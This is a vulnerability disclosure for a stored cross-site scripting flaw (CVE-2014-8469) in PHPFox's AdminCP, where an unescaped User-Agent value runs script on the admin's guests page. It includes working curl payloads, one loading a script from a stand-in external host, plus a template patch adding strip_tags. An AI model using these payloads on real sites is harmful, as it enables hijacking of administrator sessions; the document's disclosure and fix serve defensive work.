# Exploit Title: PHPFox XSS AdminCP
# Date: 2014-10-22
# Exploit Author: Wesley Henrique Leite aka "spyk2r"
# Vendor Homepage: http://www.moxi9.com
# Version: All version
# CVE : CVE-2014-8469
# Response Vendor: fixed 2014-10-23 (to v4 Beta)
[+] DESCRIPTION
The system stores all urls accessed in a database table, below
information in the same 'phpfox_log_session'
[phpfox]> desc phpfox_log_session;
+---------------+----------------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+---------------+----------------------+------+-----+---------+-------+
++++++++++ more values and
| user_agent | varchar(100) | NO | | NULL | |
+---------------+----------------------+------+-----+---------+-------+
the column that can be manipulated is:
-> user_agent (100)
all acess store in the system, such as bots and users wandering around the
web site, can be seen in:
AdminCP
TOOLS > Online > Guests/Boots
Output
| IP ADDRESS | User-Agent | ...
knowing this, the following code was created to inject a script into the
AdminCP with User-Agent.
$ curl -A "<script src='http://www.example.com/script.js'></script>" \
http://www.meusite.com.br/
OR
$ curl -A "<script>alert(1);</script>" http://www.meusite.com.br/
when any user with administrative access in.
'AdminCP'
TOOLS > Online > Guests/Boots
we have the script running in the administrative area.
[+] My Solution
(line 1.8)
1.1 --- a/module/core/template/default/controller/admincp/online-guest.html.php
Tue Oct 21 10:00:11 2014 -0200
1.2 +++ b/module/core/template/default/controller/admincp/online-guest.html.php
Tue Oct 21 12:28:39 2014 -0200
1.3 @@ -25,7 +25,7 @@
1.4 {foreach from=$aGuests key=iKey item=aGuest}
1.5 <tr class="checkRow{if is_int($iKey/2)} tr{else}{/if}">
1.6 <td><a href="{url link='admincp.core.ip'
search=$aGuest.ip_address_search}" title="{phrase
var='admincp.view_all_the_activity_from_this_ip'}">{$aGuest.ip_address}</a></td>
1.7 - <td>{$aGuest.user_agent}</td>
1.8 + <td>{$aGuest.user_agent|strip_tags}</td>
1.9 <td class="t_center">
1.10 <div class="js_item_is_active"{if !$aGuest.ban_id}
style="display:none;"{/if}>
1.11 <a href="#?call=ban.ip&ip={$aGuest.ip_address}&active=0"
class="js_item_active_link" title="{phrase var='admincp.unban'}">{img
theme='misc/bullet_green.png' alt=''}</a>
1.12 @@ -43,4 +43,4 @@
1.13 <div class="extra_info">
1.14 {phrase var='admincp.no_guests_online'}
1.15 </div>
1.16 -{/if}
1.17 \ No newline at end of file
1.18 +{/if}
